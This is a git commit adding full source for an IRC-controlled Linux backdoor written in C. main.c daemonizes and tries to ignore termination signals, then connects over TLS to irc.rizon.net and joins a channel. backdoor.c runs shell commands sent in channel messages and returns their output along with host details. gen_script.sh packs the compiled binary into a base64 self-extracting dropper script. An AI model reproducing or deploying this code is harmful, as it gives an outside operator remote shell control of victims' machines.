This commit is contained in:
Your Name 2024-04-21 19:39:15 +03:00
commit c174752597
8 changed files with 487 additions and 0 deletions

5
build.sh Executable file
View File

@ -0,0 +1,5 @@
CFLAGS="-s -Os -pedantic -Wall -Wextra"
rm main
cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain

3
gen_script.sh Executable file
View File

@ -0,0 +1,3 @@
#!/bin/sh
./build.sh
echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh

10
include/backdoor.h Normal file
View File

@ -0,0 +1,10 @@
#ifndef _BACKDOOR_H
#define _BACKDOOR_H
#include "irc.h"
#define COMMON_BUF_SIZE 200
void backdoor_offline(void);
void parse_cmd(IRCC_client *client);
#endif

13
include/cfg.h Normal file
View File

@ -0,0 +1,13 @@
typedef struct {
int use_ssl;
char *ip;
int port;
char *pre_cmd;
char *channel;
char *channel_key;
} SERVER;
SERVER servers[] = {
{1, "irc.rizon.net", 6697, NULL, "#channel", NULL}
};

65
include/irc.h Normal file
View File

@ -0,0 +1,65 @@
/*
LICENSE: WTFPL
Simple library for working with ipv4 irc servers
Dont support:
ddc
ipv6
motd
*/
#ifndef _IRCC_H
#define _IRCC_H
#define IRCC_MSG_MAX 512
#define IRCC_PING_TIMEOUT 600
#ifdef ENABLE_SSL
#include <openssl/ssl.h>
#endif
enum {
IRCC_NICK = 1,
IRCC_PRIVMSG,
IRCC_JOIN,
IRCC_QUIT,
IRCC_PING,
IRCC_TOPIC,
IRCC_MODE,
IRCC_CONNECTED,
IRCC_DISCONNECTED,
IRCC_ERROR,
IRCC_SUCCESS
};
typedef struct {
int irc_socket;
char irc_raw[IRCC_MSG_MAX + 1];
char *irc_msg;
char *irc_channel;
char *irc_nick;
#ifdef ENABLE_SSL
int irc_usingssl;
SSL_METHOD *irc_sslmethod;
SSL_CTX *irc_sslctx;
SSL *irc_ssl;
#endif
} IRCC_client;
int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port);
int IRCC_recv(IRCC_client *irc);
int IRCC_parse(IRCC_client *irc);
int IRCC_join(IRCC_client *irc, const char *channel, const char *key);
int IRCC_send(IRCC_client *irc, const char *channel, const char *msg);
int IRCC_register(IRCC_client *irc, const char *nickname);
int IRCC_initssl(IRCC_client *irc);
void IRCC_close(IRCC_client *irc);
//u - mean universal. Functions uses internal fields in structure
int IRCC_usend(IRCC_client *irc, off_t bytes);
int IRCC_urecv(IRCC_client *irc);
#endif

76
src/backdoor.c Normal file
View File

@ -0,0 +1,76 @@
#include <unistd.h>
#include <sys/utsname.h>
#include "backdoor.h"
#include "irc.h"
static FILE *fp;
void backdoor_offline(void) {
sleep(60);
}
void send_info(IRCC_client *client, const char *buf) {
char *nick = strdup(client->irc_nick);
if (nick == NULL)
return;
IRCC_send(client, nick, buf);
free(nick);
}
void parse_cmd(IRCC_client *client) {
if (!strncmp(client->irc_msg, "!exit", 5)) {
IRCC_close(client);
exit(0);
}
else if (!strncmp(client->irc_msg, "!cd", 3))
chdir(client->irc_msg + 4);
else if (!strncmp(client->irc_msg, "!uname", 6)) {
struct utsname uts;
if (uname(&uts) < 0)
return;
char buf[COMMON_BUF_SIZE + 1];
snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename);
send_info(client, buf);
}
/* Shell */
else if (!strncmp(client->irc_msg, "!exec", 5)) {
if (fp != NULL)
pclose(fp);
fp = popen(client->irc_msg + 5, "wr");
}
else if (!strncmp(client->irc_msg, "!print", 5)) {
if (fp == NULL)
return;
char buf[COMMON_BUF_SIZE + 1];
if (fgets(buf, sizeof(buf), fp) == NULL) {
pclose(fp);
fp = NULL;
}
send_info(client, buf);
}
else if (!strncmp(client->irc_msg, "!write", 5)) {
if (fp == NULL)
return;
fputs(client->irc_msg + 5, fp);
}
else if (!strncmp(client->irc_msg, "!close", 5)) {
if (fp == NULL)
return;
pclose(fp);
fp = NULL;
}
}

237
src/irc.c Normal file
View File

@ -0,0 +1,237 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "irc.h"
int IRCC_urecv(IRCC_client *irc) {
#ifdef ENABLE_SSL
if (irc->irc_usingssl)
return SSL_read(irc->irc_ssl, irc->irc_raw, sizeof(irc->irc_raw));
#endif
return recv(irc->irc_socket, irc->irc_raw, sizeof(irc->irc_raw), 0);
}
int IRCC_usend(IRCC_client *irc, off_t bytes) {
#ifdef ENABLE_SSL
if (irc->irc_usingssl)
return SSL_write(irc->irc_ssl, irc->irc_raw, bytes);
#endif
return send(irc->irc_socket, irc->irc_raw, bytes, 0);
}
int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port) {
struct hostent *hp = gethostbyname(ip);
if (!hp)
return IRCC_ERROR;
//Only ipv4
struct sockaddr_in client_str;
memset(&client_str, 0, sizeof(client_str));
client_str.sin_family = AF_INET;
client_str.sin_port = htons(port);
client_str.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr *)hp->h_addr));
irc->irc_socket = socket(AF_INET, SOCK_STREAM, 0);
if (irc->irc_socket < 0)
return IRCC_ERROR;
struct timeval tv = {IRCC_PING_TIMEOUT, 0};
if (setsockopt(irc->irc_socket, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0)
return IRCC_ERROR;
int status = connect(irc->irc_socket, (struct sockaddr *)&client_str, sizeof(client_str));
if (status == -1)
return IRCC_ERROR;
return IRCC_SUCCESS;
}
void IRCC_parse_msg(char *tmp, IRCC_client *irc) {
irc->irc_raw[strcspn(irc->irc_raw, "\r\n")] = '\0';
if (tmp != NULL) {
//Message
char *val = strchr(tmp, ':');
if (val != NULL) {
val[0] = '\0';
irc->irc_msg = val + 1;
//Del space before :
*(val - 1) = '\0';
}
//Channel
val = strchr(tmp, ' ');
if (val != NULL) {
val[0] = '\0';
irc->irc_channel = val + 1;
}
//Nickname
val = strchr(irc->irc_raw, '!');
if (val != NULL) {
val[0] = '\0';
irc->irc_nick = irc->irc_raw + 1;
}
}
}
int IRCC_recv(IRCC_client *irc) {
memset(irc->irc_raw, '\0', IRCC_MSG_MAX);
int msg_size = IRCC_urecv(irc);
if (msg_size == 0 || msg_size == -1)
return IRCC_DISCONNECTED;
else if (!strncmp(irc->irc_raw, "PING", 4)) {
*(strchr(irc->irc_raw, 'I')) = 'O';
if (IRCC_usend(irc, strlen(irc->irc_raw)) == -1)
return IRCC_ERROR;
return IRCC_PING;
}
return IRCC_SUCCESS;
}
int IRCC_parse(IRCC_client *irc) {
irc->irc_channel = NULL;
irc->irc_msg = NULL;
irc->irc_nick = NULL;
//Check end of motd
if (strstr(irc->irc_raw, "PRIVMSG ") == NULL && strstr(irc->irc_raw, "MOTD"))
return IRCC_CONNECTED;
//Other
else if (strstr(irc->irc_raw, "PRIVMSG ")) {
IRCC_parse_msg(strstr(irc->irc_raw, "PRIVMSG "), irc);
return IRCC_PRIVMSG;
}
else if (strstr(irc->irc_raw, "NICK ")) {
IRCC_parse_msg(strstr(irc->irc_raw, "NICK "), irc);
return IRCC_NICK;
}
else if (strstr(irc->irc_raw, "TOPIC ")) {
IRCC_parse_msg(strstr(irc->irc_raw, "TOPIC "), irc);
return IRCC_TOPIC;
}
else if (strstr(irc->irc_raw, "MODE ")) {
IRCC_parse_msg(strstr(irc->irc_raw, "MODE "), irc);
return IRCC_MODE;
}
else if (strstr(irc->irc_raw, "JOIN ")) {
IRCC_parse_msg(strstr(irc->irc_raw, "JOIN "), irc);
return IRCC_JOIN;
}
else if (strstr(irc->irc_raw, "PART ") || strstr(irc->irc_raw, "QUIT ")) {
IRCC_parse_msg(strstr(irc->irc_raw, "PART "), irc);
IRCC_parse_msg(strstr(irc->irc_raw, "QUIT "), irc);
return IRCC_QUIT;
}
return IRCC_SUCCESS;
}
int IRCC_register(IRCC_client *irc, const char *nickname) {
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "NICK %s\r\n", nickname);
if (IRCC_usend(irc, bytes) == -1)
return IRCC_ERROR;
bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "USER %s 0 localhost :%s\r\n", nickname, nickname);
if (IRCC_usend(irc, bytes) == -1)
return IRCC_ERROR;
//Motd skip
while (1) {
int status = IRCC_recv(irc);
if (status == IRCC_DISCONNECTED)
return IRCC_DISCONNECTED;
status = IRCC_parse(irc);
if (status == IRCC_CONNECTED)
break;
}
return IRCC_SUCCESS;
}
int IRCC_join(IRCC_client *irc, const char *channel, const char *key) {
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "JOIN %s %s\r\n", channel, (key) ? key : "");
if (IRCC_usend(irc, bytes) == -1)
return IRCC_ERROR;
return IRCC_SUCCESS;
}
int IRCC_send(IRCC_client *irc, const char *channel, const char *msg) {
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "PRIVMSG %s :%s\r\n", channel, msg);
if (IRCC_usend(irc, bytes) == -1)
return IRCC_ERROR;
return IRCC_SUCCESS;
}
int IRCC_initssl(IRCC_client *irc) {
#ifdef ENABLE_SSL
irc->irc_ssl = NULL;
irc->irc_sslctx = NULL;
irc->irc_sslmethod = NULL;
OpenSSL_add_all_algorithms();
if (SSL_library_init() < 0)
return IRCC_ERROR;
irc->irc_sslmethod = (SSL_METHOD *)SSLv23_client_method();
irc->irc_sslctx = SSL_CTX_new(irc->irc_sslmethod);
if (irc->irc_sslctx == NULL)
return IRCC_ERROR;
SSL_CTX_set_options(irc->irc_sslctx, SSL_OP_NO_SSLv2);
irc->irc_ssl = SSL_new(irc->irc_sslctx);
SSL_set_fd(irc->irc_ssl, irc->irc_socket);
if (SSL_connect(irc->irc_ssl) != 1)
return IRCC_ERROR;
irc->irc_usingssl = 1;
#else
(void)irc;
#endif
return IRCC_SUCCESS;
}
void IRCC_close(IRCC_client *irc) {
close(irc->irc_socket);
irc->irc_msg = irc->irc_nick = irc->irc_channel = NULL;
#ifdef ENABLE_SSL
if (!irc->irc_usingssl)
return;
if (irc->irc_ssl != NULL) {
SSL_shutdown(irc->irc_ssl);
SSL_free(irc->irc_ssl);
}
if (irc->irc_sslctx != NULL)
SSL_CTX_free(irc->irc_sslctx);
#endif
}

78
src/main.c Normal file
View File

@ -0,0 +1,78 @@
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include "backdoor.h"
#include "irc.h"
#include "cfg.h"
char *randnick(size_t len) {
char a[] = "asdfghjklzxcvbnmqwertyuiopASDFGHJKLZXCVBNMQWERTYUIOP";
char *str = malloc(len + 1);
if (str == NULL)
return NULL;
for (size_t i = 0; i < len; i++)
str[i] = a[rand() % sizeof(a)];
str[len] = '\0';
return str;
}
int start(void) {
SERVER rand_serv = servers[rand() % (sizeof(SERVER) / sizeof(servers))];
static IRCC_client client;
int status = IRCC_connect(&client, rand_serv.ip, rand_serv.port);
if (status == IRCC_ERROR)
return 1;
if (rand_serv.use_ssl)
if (IRCC_initssl(&client) == IRCC_ERROR)
return 1;
char *nick = randnick(15);
if (nick == NULL)
return 0;
if (IRCC_register(&client, nick) == IRCC_DISCONNECTED) {
free(nick);
return 1;
}
free(nick);
if (IRCC_join(&client, rand_serv.channel, rand_serv.channel_key) == IRCC_ERROR)
return 0;
while (1) {
int irc_status = IRCC_recv(&client);
if (irc_status == IRCC_DISCONNECTED)
return 1;
irc_status = IRCC_parse(&client);
if (irc_status == IRCC_PRIVMSG && client.irc_nick != NULL && client.irc_msg != NULL && client.irc_channel != NULL)
parse_cmd(&client);
}
return 1;
}
int main(void) {
daemon(0, 0);
if (fork() == 0) {
daemon(0, 0);
signal(SIGINT, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGKILL, SIG_IGN);
srand(getpid());
chdir(getenv("HOME"));
while (1)
if (start())
backdoor_offline();
}
return 0;
}